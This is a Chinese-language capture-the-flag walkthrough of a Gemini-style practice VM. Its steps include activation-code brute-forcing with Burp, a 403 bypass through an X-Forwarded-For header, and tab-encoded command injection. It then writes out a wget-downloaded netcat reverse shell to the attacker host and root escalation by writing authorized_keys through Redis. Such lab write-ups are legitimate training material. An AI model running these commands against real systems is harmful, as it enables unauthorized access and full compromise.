前言
这是打靶训练的第22周,难度中,靶机下载
信息搜集
nmap扫描结果
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u3 (protocol 2.0)
80/tcp open http Apache httpd 2.4.25 ((Debian))
访问网页,和GeminiV1网站非常像。尝试使用admin 1234登录失败

使用dirb,扫扫目录dirb http://10.16.122.51/ -r -X .php

来到registration.php,随便注册一个用户

注册完毕后,提示激活用户需输入6位数字

上面dirb爆破结果有个activate.php。访问后,看来是激活页面

要User ID和Activation Code,才能激活。User ID获取非常简单,点击My Profile,url的u=数字就是User ID。得到User ID为16

激活账户
献出burp来跑激活码,抓包,发现存在token。

设置token可以防止爆破,不过我在源码里发现了token信息

说明请求包的token是从源码里面动态获取的,这点小问题难不倒强大的burp
Attack type选择Pitchfork,设置好激活码和token

设置Payload 1按下图设置

设置Payload 2点击Options来到Grep - EXtract点击Add

点击Refetch response得到响应包后,双击value里面的值,会自动填充内容匹配规则。

点OK后,设置Payload 2的Payload type为Recursive grep,Payload Options自动填充成刚刚设置的过滤规则。

最后来到Resource Pool,按下图设置线程为1,token不能使用多线程爆破,这是burp官方给的提示!

爆破没过多久就出现一个302状态码,看样子被重定向了首页

再次查看,用户已经被成功激活

Bypass 403
来到User List,9emin1橙色用户名,与其他蓝色用户名对比,是那么的与众不同

查看9emin1用户信息,发现是管理员账号

走投无路之时,可以爆破密码,但这里大可不必。万事第一步先看源码,获取到加密后的password:edbd1887e772e13c251f688a5f10c1ffbb67960d

使用cmd5,明文为:secretpassword,使用账号:Gemini,密码:secretpassword,成功以管理员身份登录

点击Admin Panel中的Execute Command,顾名思义命令执行嘛

经典403页面

加上X-Forwarded-For: 127.0.0.1头,成功绕过

为了简化这一操作,可以安装Bypass WAF插件

来到Project options中的Sessions,在Session Handing Rules点击Add添加一个规则

Add选择Invoke a Burp extension

扩展选择Bypass WAF

来到Scope按下图所示勾选

在Site map中选择靶机ip,Add to scope添加进过滤器,至此插件配置就完成了

再次来到Execute Command页面,成功绕过

getshell
命令能成功执行ls,但无法执行ls -l。所以要么是-被过滤,要么是空格被过滤。经过测试空格被过滤了
抓包后,可看到burp使用+号代替了空格

使用tab键来替换空格,tab键对应的url编码为%09

放包后,提示命令成功执行

来到Proxy中的Options,Match and Replace点击Add添加替换规则。burp会自动将+即空格替换成%09

尝试了使用nc命令,没法反弹shell,应该是一些字符被过滤了。我这边的做法是,靶机下载kali上的nc
wget http://10.16.122.17/nc -O /tmp/nc # 下载nc
chmod +x /tmp/nc
/tmp/nc 10.16.122.17 4545 -e /bin/bash # 反弹shell
python -c 'import pty; pty.spawn("/bin/bash")' # 升级成tty

成功登录后,因为不是完全交互式shell。所以我准备使用ssh免密登录,升级成交互式shell。
cd /home/gemini1
mkdir .ssh
cd .ssh
之后,来到kali上使用ssh-keygen -t rsa生成密钥

靶机下载id_rsa.pub,wget http://10.16.122.17/id_rsa.pub -O authorized_keys

来到kali上成功免密登录

提权
查看运行的端口,存在6379即redis默认端口

grep pass /etc/redis/6379.conf,得到redis连接密码8a7b86a2cd89d96dfcc125ebcc0535e6

使用redis进行提权
redis-cli -a 8a7b86a2cd89d96dfcc125ebcc0535e6 # 连接redis
config set dir /root/.ssh/
config set dbfilename authorized_keys
# 将kali生成的id_rsa.pub写入
set x "\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDKHkB2tQIPI4xlnr/l//G45lKtOoF6JOa5U5QoDjrAUZic0A/E8LhE+UhWHr9kx+F4cY2TB2IC7OryHGPM62gAUzZ1Nb4PL/v67aYI+ZHjnpAhjhWgr3ovQ8V/VNAj61JktogJRkW6QioKLkdm6N5Bt37IGQEk63CE3gdm2EGJ1enACTvwP+fhPdBYKhOqNVmn/q39ib2ApRcxDb+/M4HzDLpA4PjIbkxl0dE+HwNGp0vXzwkVy8eOIoNWlf3rU529twHzt2LsD3r7sRY3U3cy9LHZ9ly4fmFGnsoDg1TJfRH5AFGI5PJg6YnWs2JX33z7JHd1yL83WF6hMf8icXOeorZ573LAUykyoyu9rXTzsu/MIJsSiOB/1r4huEX3vJQA6HM5NR3K+INbtL2Jd+tkDcAZ/CR+CSp9Ikn41qW+o9lE0IN3Hpg+Qwc1Q1JpnY9e54GZgFGmB57TOeq6Ul3FLKnRuZ/XqiVFmT52cILCEQwTddCFC21Cx5kqMVrVlws= root@kali \n\n\n"
save

再次免密登录,提权完成
